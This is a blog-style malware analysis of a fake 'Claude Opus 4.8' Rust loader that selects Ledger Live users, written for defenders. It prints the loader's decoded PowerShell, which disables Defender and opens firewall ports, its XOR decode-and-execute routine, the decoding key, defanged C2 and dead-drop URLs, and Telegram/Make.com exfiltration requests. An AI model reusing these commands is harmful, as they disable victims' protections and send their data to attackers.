Reverse Engineering a Fake Claude Opus 4.8 Malware Loader

A static reverse-engineering write-up of a Rust-built Windows loader that used a fake AI app lure, Ledger Live targeting, obfuscated lookup routines, cyclic XOR config, and dual Make.com/Telegram exfiltration.

18 min read · malware-analysis · reverse-engineering · ghidra · windows · rust

The lure was almost too on the nose: a fake "Claude Opus 4.8" desktop app, wrapped in the kind of release-binary presentation that makes a rushed user think they are getting early access to something shiny. The repository around it looked mostly like stage dressing. The binary was the point.

The sample was a 64-bit Windows GUI PE named claude-opus-4-8_x64.exe, built in Rust, roughly 95.5 MiB, and carrying a CodeView artifact named Updater.pdb. That alone did not make it malicious. Rust GUI apps are large, and weird release names happen. The interesting part started in .rdata, where the binary mixed social-engineering copy, anti-analysis strings, HTTP workflow logs, an obfuscated PowerShell payload, and a packed encrypted configuration array.

The final picture was a targeted loader/dropper:

  • It profiled the machine for VM, sandbox, debugger, and bot-farm traits.
  • It checked specifically for %APPDATA%\Ledger Live.
  • It displayed a fake verdict: legitimate user when Ledger Live existed, bot/sandbox when it did not.
  • It weakened Defender and opened inbound firewall ports through hidden PowerShell.
  • It fetched token/config material from dead drops.
  • It downloaded and extracted a password-protected 7z payload.
  • It exfiltrated a structured execution report first to Make.com and then to Telegram.

The best part of the analysis was not the IOC list. It was the sequence of small reversals: turn an opaque lookup into arithmetic, turn a heap write into a key, turn a high-entropy .rdata blob into infrastructure, and turn a fake "sandbox detected" message into proof that the loader was selecting for hardware wallet users.

The lure: an AI app with a wallet-shaped trapdoor

The repository presented itself as a Claude-themed tool. The relevant README claimed unauthorized "Claude Opus 4.8" access and pointed users toward release binaries. The PE itself was not a normal tracked source artifact in the repo; it was the suspicious release-style payload.

The first useful strings clustered around file offset 0x804000, mapped to VA 0x140805600:

APPDATA
Ledger Live
Failed to fetch conditional payload URL:

That sequence changed the interpretation of the whole sample. A generic loader would usually begin with broad host checks or commodity persistence. This binary had a very specific gate: find Ledger Live under the current user's profile, then ask remote infrastructure whether to deliver a payload.

The deeper pass confirmed the fake UI:

RESULT: LEGITIMATE USER - ALLOWING EXECUTION
RESULT: BOT/SANDBOX DETECTED - BLOCKING

The trick is subtle. If an analyst runs the binary in a clean VM with no Ledger Live profile, the program can show a "bot/sandbox" result and stop. That looks like ordinary anti-VM behavior. But the more precise interpretation is worse: the binary is not merely avoiding sandboxes; it is refusing to spend its payload on machines that do not look like Ledger hardware wallet users.

Static triage before Ghidra

I kept the analysis static. No execution, no Wine, no ldd, no runtime probes, and no network calls to attacker-controlled URLs.

The first pass was intentionally boring:

file type:      PE32+ Windows GUI executable, x86-64
image base:     0x140000000
entry point:    0x1405d5f80
linker:         14.50
timestamp:      2026-05-28 20:23:53 UTC
PDB artifact:   Updater.pdb
SHA256:         d06f4ac157e441ccc7090c8cb3e592a3b87ef2ea7e7b4082f8e4b9fb06acaa29
SHA1:           3a26bbc8613538d82a72a9041fcf3d069615c95b
MD5:            c7005da64f4a24ef902a130f56719202

The section table was the next clue. .rdata was enormous and high-entropy:

.text   raw size 0x005f440f  entropy 6.34
.rdata  raw size 0x0591730a  entropy 7.96
.rsrc   raw size 0x0000e3c0  entropy 7.73

High entropy is not proof of malware. In this case it was a signpost: large Rust runtime data, embedded blobs, encrypted strings, and an obfuscated PowerShell payload were all living in or near .rdata.

The imports sketched the capability surface:

CreateProcessW, ShellExecuteW, CreateThread, CreateMutexA
RegOpenKeyExW, RegQueryValueExW, RegEnumKeyExW
connect, send, recv, WSASend, getaddrinfo
OpenClipboard, GetClipboardData, SetClipboardData
GetAsyncKeyState, RegisterRawInputDevices, GetRawInputData
BitBlt, CreateCompatibleDC, CreateDIBSection

Imports can overstate behavior, especially in statically linked Rust GUI programs. I treated them as leads, not conclusions. The conclusions came from the string references, decoded payloads, and request-building code.

The first hard proof: hidden PowerShell

At file offset 0x804344, VA 0x140805944, the binary stored a PowerShell launcher:

powershell.exe
-NoProfile
-NonInteractive
-WindowStyle Hidden
-ExecutionPolicy Bypass
-Command

Inside that command was a base64 blob. The script decoded the blob, XORed each byte with decimal key 44, converted the result to UTF-8, and executed it with ScriptBlock::Create.

$bytes = [System.Convert]::FromBase64String($blob)
$key = 44
$decoded = [byte[]]@()
foreach ($b in $bytes) {
  $decoded += $b -bxor $key
}
$script = [System.Text.Encoding]::UTF8.GetString($decoded)
& ([ScriptBlock]::Create($script))

The decoded script did the kind of host preparation that removes ambiguity:

Add-MpPreference -ExclusionPath 'C:\Users'
Add-MpPreference -ExclusionPath $env:TEMP
Add-MpPreference -ExclusionPath 'C:\ProgramData'
Add-MpPreference -ExclusionPath 'C:\Windows'
Add-MpPreference -ExclusionProcess 'powershell.exe'
Add-MpPreference -ExclusionProcess 'pwsh.exe'
Set-MpPreference -DisableBlockAtFirstSeen $true
Set-MpPreference -SubmitSamplesConsent NeverSend
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableBehaviorMonitoring $true
New-NetFirewallRule -DisplayName 'Port 57001 TCP' -Direction Inbound -LocalPort 57001 -Protocol TCP -Action Allow -Enabled True
New-NetFirewallRule -DisplayName 'Port 57002 TCP' -Direction Inbound -LocalPort 57002 -Protocol TCP -Action Allow -Enabled True
New-NetFirewallRule -DisplayName 'Port 56001 TCP' -Direction Inbound -LocalPort 56001 -Protocol TCP -Action Allow -Enabled True

The PowerShell itself used string-splitting obfuscation around Defender cmdlets, for example building command names from fragments such as Add, d, -M, p, Pref, er, and ence. That is not interesting because it is novel. It is interesting because it tells you what the operator expected static scanners to key on.

Finding the real main path

Ghidra identified 26,567 functions. That number is normal for a Rust binary, but it means most auto-generated names are noise. I started from the entry point and worked toward the custom modules.

The important handoff looked like this:

entry @ 0x1405d5f80
  -> Rust/CRT runtime setup
  -> FUN_14009a030
       -> AddVectoredExceptionHandler
       -> SetThreadStackGuarantee
       -> FUN_140041642(FUN_14008a446)

FUN_14008a446 was the first high-level application routine. It hid or freed a console if one existed, parsed flags such as --elevated, --attempt=, --headless, and runas, then branched into the main payload path:

FUN_14008a446
  ├─ GetConsoleWindow / ShowWindow / FreeConsole
  ├─ FUN_14008e279()       ; flag/elevation branch selector
  ├─ FUN_140089086()       ; main payload branch
  ├─ FUN_140088672()       ; elevated / relaunch path
  └─ FUN_14008b131()       ; GUI/event loop

Embedded Rust source paths helped separate application code from runtime noise:

src\env_profile.rs
src\telemetry_log.rs
src\package_handler\path_gen.rs
src\transport\fetcher.rs

Those names aligned cleanly with behavior: environment profiling, telemetry dispatch, fake package/process naming, and HTTP fetch/retry logic.

The anti-VM engine was scored, not binary

The anti-analysis engine in src\env_profile.rs was more than a couple of VMware string checks. It mixed instant-block rules with scored hardware and activity heuristics.

Tier 0 included usernames, hostnames, bot-farm naming patterns, VM MAC prefixes, debugger and analysis processes, sandbox DLLs, VirtualBox NAT IPs, and VM guest driver files. Examples from the recovered string region included:

TIER0: Blacklisted username
TIER0: Blacklisted hostname
TIER0: VM MAC address prefix detected
TIER0: Blacklisted process
TIER0: Sandbox DLL
TIER0: VirtualBox default NAT IP detected

The scored checks looked at GPU, CPU, RAM, disk size, process count, installed software count, screen resolution, uptime, BIOS serials, VMware Tools registry keys, VirtualBox Guest Additions registry keys, and VM-looking product names. There was also an input sampling phase:

[INPUT] Waiting for XX input samples (timeout: XXs)...

The target gate sat alongside this logic, but it served a different purpose. The VM checks answered "is this an analyst or sandbox?" The Ledger Live check answered "is this worth infecting?"

Lifting the obfuscated lookup at 0x140074c7b

One of the early unresolved leads was a lookup/hash-like routine around 0x140074c7b, called from the main payload branch with a constant like 0xb6715bc9. The routine was small enough to lift by hand.

There were two nearby variants. They both took a 32-bit value in edx, mixed it with arithmetic, collapsed the result to a 16-bit offset, and added that offset to a base pointer in rcx.

Variant 1, file 0x7407b, 28 bytes:

neg edx
xor edx, 0x35d25aa7
add edx, 0x512c5c22
mov eax, edx
rol eax, 2
xor eax, edx
movzx eax, ax
add rax, rcx

The logic is:

x = -input
x = x ^ 0x35d25aa7
x = x + 0x512c5c22
y = rol32(x, 2) ^ x
return base + (y & 0xffff)

Variant 2, file 0x74097, 22 bytes:

not edx
mov eax, edx
rol eax, 4
xor eax, edx
imul eax, eax, 0xc5f6
movzx eax, ax
add rax, rcx

The logic is:

x = ~input
y = rol32(x, 4) ^ x
y = y * 0xc5f6
return base + (y & 0xffff)

For the known input 0xb6715bc9, the emulated offsets were:

VariantInputOutput offsetMeaning
Variant 10xb6715bc90x3079Probable dispatch/table entry
Variant 20xb6715bc90x62ccProbable dispatch/table entry

That result did not directly hand over a URL. The key missing piece was the runtime value of rcx, the base pointer. But the lift was still useful: it proved the routine was a table lookup, not cryptography, and it explained why a straight string-xref pass missed several important values.

Cracking the cyclic XOR config

The bigger break came from function 0x1400f2c12.

In that function, the binary initialized a heap buffer with a 12-byte key:

xnasff3wcedj

The code then applied that key cyclically over encoded input bytes:

plain[i] = encoded[i] ^ key[i % 12]

There are two nice sanity checks for this kind of recovery.

First, URL-heavy malware often encrypts strings that start with https://. If you XOR the first bytes of a suspected encoded URL with https://, the result should reveal the beginning of the key. In this sample, the first eight bytes recovered:

xnasff3w

That matched the first eight bytes of the heap-initialized key. The remaining four bytes, cedj, came from the same initialization sequence.

Second, because the key is cyclic, offsets matter. I scanned for URL/config prefixes across all 12 key rotations, then checked whether the results formed a coherent packed array instead of isolated false positives.

They did. A contiguous .rdata region at file 0x802d3a through 0x802e38 held eight separately XOR-encoded blobs. The key restarted at offset zero for each blob, and each blob's length was the gap to the next entry.

Network indicators below are defanged:

#File offsetVALenDecoded valueRole
10x802d3a0x14080433a33hxxps://pastebin[.]com/raw/zKXiBMPGManifest primary dead drop
20x802d5b0x14080435b44hxxps://mikolirentryifosttry[.]info/api/check/C2 access check / beacon
30x802d870x14080438731hxxps://snippet[.]host/uuhzfr/rawManifest backup dead drop
40x802da60x1408043a614-1003724698225Telegram chat ID
50x802db40x1408043b433hxxps://pastebin[.]com/raw/0mrNvLwnToken primary dead drop
60x802dd50x1408043d534hxxps://hkdk[.]events/99cao586ez749zMake.com exfil webhook
70x802df70x1408043f731hxxps://snippet[.]host/zmtohe/rawToken backup dead drop
80x802e160x14080441633hxxps://pastebin[.]com/raw/tTaQFfyTC2 ping backup

This is where the sample stopped looking like a vague loader and started looking like an operated campaign. The binary did not simply hide one C2. It hid the whole control plane: manifest locations, token sources, C2 access check, Make.com relay, and Telegram chat target.

Classifying each endpoint by code path

After decoding the array, the next step was to prove each endpoint's role from its references and call context.

The LEA instructions did not always generate clean Ghidra data xrefs, so I used RIP-relative scans around the decoded VAs and then read the surrounding disassembly.

The result:

EntryHTTP roleMethodEvidence
1Manifest primaryGETLEA near 0x1400856db, calls 0x14008faf2 retry GET orchestrator
3Manifest backupGETLEA near 0x140085704, same retry orchestrator
2C2 access check / status pingPOSTLEA near 0x140086fd1, POST builder, User-Agent: WINDOWS
8C2 ping backupPOSTLEA near 0x140086924, same ping function
5Telegram token primaryGETLEA near 0x14008f8e2, token orchestrator
7Telegram token backupGETLEA near 0x14008f905, token fallback
6Make.com primary exfil sinkPOSTLEA near 0x140046420, called before Telegram
4Telegram chat IDN/ADecoded into JSON chat_id value

The token flow is a good example of how the operator minimized static exposure. The Telegram API URL was not hardcoded as a full string. The bot token was not in the binary. Instead, the loader fetched the token from a Pastebin dead drop, fell back to snippet.host, and constructed the Bot API endpoint at runtime.

The fields that proved Telegram use were stored separately in .rdata at 0x80317e and nearby:

Content-Type
application/json
chat_id
text

That matches the standard Bot API sendMessage shape:

POST hxxps://api.telegram[.]org/bot<TOKEN>/sendMessage
Content-Type: application/json

{"chat_id":"-1003724698225","text":"<execution_summary>"}

The Make.com webhook was even more important operationally. Its POST block was called before the Telegram block:

0x140046488  -> build POST request to Make.com
0x1400464b8  -> add Content-Type: application/json
0x1400464df  -> append chat_id field
0x14004656b  -> append text field
0x1400468af  -> build second POST request to Telegram

That ordering makes Make.com the primary exfil relay, not a decorative backup. Both sinks receive the same JSON body.

The victim record was plaintext

The Rust module name /src\telemetry_log.rs was embedded in .rdata, and the format template at 0x1408045cd through 0x140804779 reconstructed the actual text body.

User: <windows_username>
IP: <victim_public_ip>
Time: <timestamp>
========================================
PACKAGE PROCESSING REPORT
Total packages processed: <n>
Admin rights: <true|false>
SUMMARY
Success: <n>/<total>
Failed: <n>/<total>
[Package <name>] <success_or_failure>
  Location: <filesystem_path>
  Executables found: <n>
  Status: <status_string>
    <process_name> <module> - Exit code: <n>
[Package <name>] FAILED
  Error: <error_message>
[SUMMARY] Preparing to dispatch summary...
[SUMMARY] Summary size: <n> characters
[SUMMARY] Dispatching summary...

The important fields are not subtle:

FieldWhy it matters
UserIdentifies the Windows account
IPGives geolocation and victim correlation
TimeGives execution timing and possible timezone clues
Admin rightsTells the operator whether privileged actions worked
LocationExposes Ledger-related filesystem paths
Executables foundFingerprints local package contents
Exit codeReports whether dropped payloads launched successfully

This is database-shaped telemetry even when the immediate transport is a chat bot. Make.com is especially relevant because a webhook can trivially append the same record into a spreadsheet, database, CRM, or queue. The report did not need to prove the exact downstream Make.com scenario to classify it as a persistent victim-record pipeline; the POST body already had the structure.

The architecture map

Here is the clean chain, from process start to victim selection, payload delivery, and exfiltration:

entry @ 0x1405d5f80
  -> FUN_14009a030
     -> FUN_140041642(FUN_14008a446)

FUN_14008a446
  ├─ Hide/free console
  ├─ Parse flags: --elevated, --attempt=, --headless, runas
  ├─ FUN_140089086                         main payload branch
  │   ├─ jitter / randomized delay
  │   ├─ src\env_profile.rs
  │   │   ├─ Tier 0 instant-block checks
  │   │   ├─ hardware / software / uptime scoring
  │   │   └─ input activity sampling
  │   ├─ Ledger Live gate
  │   │   ├─ read %APPDATA%
  │   │   ├─ append "Ledger Live"
  │   │   ├─ if absent: show BOT/SANDBOX DETECTED and stop
  │   │   └─ if present: show LEGITIMATE USER and continue
  │   ├─ C2 access check / ping
  │   │   ├─ POST hxxps://mikolirentryifosttry[.]info/api/check/
  │   │   ├─ header: User-Agent: WINDOWS
  │   │   └─ backup: hxxps://pastebin[.]com/raw/tTaQFfyT
  │   ├─ Obfuscated PowerShell
  │   │   ├─ disable / weaken Defender protections
  │   │   └─ open inbound TCP 57001, 57002, 56001
  │   ├─ Token fetch
  │   │   ├─ GET hxxps://pastebin[.]com/raw/0mrNvLwn
  │   │   └─ backup: hxxps://snippet[.]host/zmtohe/raw
  │   ├─ Manifest fetch
  │   │   ├─ GET hxxps://pastebin[.]com/raw/zKXiBMPG
  │   │   └─ backup: hxxps://snippet[.]host/uuhzfr/raw
  │   ├─ Payload handling
  │   │   ├─ download password-protected 7z archive
  │   │   ├─ extract with manifest-delivered or derived password
  │   │   ├─ search extracted tree for executables
  │   │   └─ launch installer, optionally via runas / ShellExecuteW
  │   └─ Exfiltration
  │       ├─ POST hxxps://hkdk[.]events/99cao586ez749z
  │       │   └─ {"chat_id":"-1003724698225","text":"<victim_record>"}
  │       └─ POST hxxps://api.telegram[.]org/bot<TOKEN>/sendMessage
  │           └─ {"chat_id":"-1003724698225","text":"<victim_record>"}
  ├─ FUN_140088672                         elevated / relaunch path
  └─ FUN_14008b131                         GUI/event loop

The flow matters because it shows intent. This is not a benign app with a bad library and a suspicious string. The wallet check is upstream of payload delivery. The Defender changes are upstream of the installer. The telemetry format is explicit. The exfil sinks are redundant.

What I did not recover

There were still boundaries I did not cross.

I did not fetch the Pastebin or snippet URLs, so I did not recover the live Telegram bot token. The binary does not hardcode the token, and that is exactly why the operator used dead drops.

I did not recover the 7z archive password. The strings show password-protected extraction and a password length log, but the password itself was not present as a plaintext string in the recovered array.

I did not prove persistence. The binary imports registry APIs and creates a mutex-like artifact, but the report did not confirm an autorun key, scheduled task, service, startup-folder write, or equivalent persistence path.

I also did not treat clipboard, keyboard, raw-input, and screen-capture imports as confirmed stealer behavior. They are suspicious in this context, but imports alone are not enough. The confirmed classification is a malicious loader/dropper with defense evasion, targeted wallet-user selection, downloader behavior, and telemetry/exfiltration.

Detection ideas

A static rule for this exact family should favor precision. The PDB name, PowerShell launcher flags, Ledger Live string, anti-VM strings, and telemetry fields produce a strong sample-level signature.

rule MAL_Win64_FakeClaudeOpus48_Rust_Loader_Static
{
    meta:
        description = "Fake Claude Opus 4.8 Rust loader with Ledger Live gate and telemetry dispatch"
        sha256 = "d06f4ac157e441ccc7090c8cb3e592a3b87ef2ea7e7b4082f8e4b9fb06acaa29"
        confidence = "high for this sample and close variants"

    strings:
        $pdb = "Updater.pdb" ascii

        $ps1 = "powershell.exe" ascii
        $ps2 = "-NoProfile" ascii
        $ps3 = "-NonInteractive" ascii
        $ps4 = "-WindowStyle" ascii
        $ps5 = "-ExecutionPolicy" ascii
        $ps6 = "Bypass" ascii

        $ledger = "Ledger Live" ascii
        $token = "[TOKEN] Fetching access token from server" ascii
        $manifest = "[MANIFEST] Fetching manifest" ascii
        $extract = "[EXTRACT] Using password-protected extraction" ascii
        $summary = "[SUMMARY] Dispatching summary" ascii
        $chat = "chat_id" ascii
        $text = "text" ascii
        $vm = "TIER0: VM MAC address prefix detected" ascii
        $codename = "ElysianFields" ascii

    condition:
        uint16(0) == 0x5a4d and
        filesize > 50MB and
        $pdb and
        all of ($ps*) and
        $ledger and
        4 of ($token, $manifest, $extract, $summary, $chat, $text, $vm, $codename)
}

Host-level detections are cleaner:

  • GUI PE themed after a popular AI tool spawning hidden PowerShell.
  • PowerShell using -NoProfile, -NonInteractive, -WindowStyle Hidden, and -ExecutionPolicy Bypass.
  • PowerShell invoking broad Add-MpPreference exclusions for C:\Users, C:\ProgramData, C:\Windows, or %TEMP%.
  • PowerShell disabling Defender behavior, IOAV, block-at-first-seen, cloud block level, MAPS reporting, or sample submission.
  • New-NetFirewallRule opening inbound TCP 57001, 57002, or 56001.
  • Non-browser process contacting the defanged C2/dead-drop paths listed above.

Aftermath: the payload gate went dark

I took the report as far as I could without crossing the safety boundary I set for the analysis.

I reported the GitHub repository with the full technical report, because that was the distribution point I could tie directly to the sample. I also reported the Pastebin dead drops, although I do not expect a fast or meaningful response there. Make.com required creating an account before I could submit the webhook abuse report, and I chose not to create one just to report this one endpoint.

The important caveat is that I could not report every single dead drop. But the impact of removing the distribution point was visible quickly. Shortly after I submitted the full technical report to GitHub and the repository was removed, the primary C2 domain, mikolirentryifosttry[.]info, went offline with a Host Error.

I cannot prove whether the operators burned their own infrastructure after the report, whether a provider acted on abuse signals, or whether automated threat intelligence picked it up after the repository disappeared. The result was the same: the Ledger Live payload gate stopped answering. The analysis made the operator's dependencies visible:

FindingWhy it mattered operationally
GitHub repositoryThe apparent distribution point for the fake Claude app.
Pastebin and snippet dead dropsToken and manifest delivery could be reported or blocked independently of the binary.
mikolirentryifosttry[.]infoThe primary C2 access-check domain and Ledger Live profiling endpoint that later returned a Host Error.
hkdk[.]events webhookThe Make.com exfil relay that received structured victim records before Telegram.
Telegram chat IDThe fixed destination for the secondary exfil channel.
Host behaviorDefender tampering, firewall changes, Ledger Live gating, and installer launch gave defenders concrete detections.

That is the real win here. The binary's strength was indirection: tokens outside the PE, config outside the PE, payload URL conditional on the victim, and exfil through commodity platforms. Once the lookup routine and XOR array were recovered, the indirection collapsed. After the GitHub report and repository removal, the most important dependency, the C2 payload gate, went dark.

This has been an amazing project and I hope you enjoyed reading this post!